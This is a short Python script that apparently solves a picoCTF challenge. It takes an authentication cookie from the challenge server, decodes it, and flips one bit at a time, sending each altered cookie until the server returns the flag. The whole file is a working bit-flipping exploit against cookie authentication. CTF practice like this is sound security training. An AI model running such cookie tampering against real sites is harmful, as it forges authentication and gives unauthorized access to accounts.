25 lines
605 B
Python
Executable File
25 lines
605 B
Python
Executable File
#!/home/maxime/.pyvenv/bin/python3
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from base64 import b64decode, b64encode
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import requests
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from tqdm import tqdm
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address = "http://mercury.picoctf.net:34962/"
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r = requests.Session()
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r.get(address)
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s = r.cookies["auth_name"]
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s = b64decode(s)
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s = b64decode(s)
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for i in tqdm(range(len(s))):
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for j in range(8):
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a = s[:i]
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b = s[i+1:]
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l = a + ((s[i] ^ (1 << j)).to_bytes(1, "big")) + b
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cookie = {'auth_name': b64encode(b64encode(l)).decode()}
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r = requests.get(address, cookies=cookie)
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if "picoCTF{" in r.text:
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print(r.text)
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exit()
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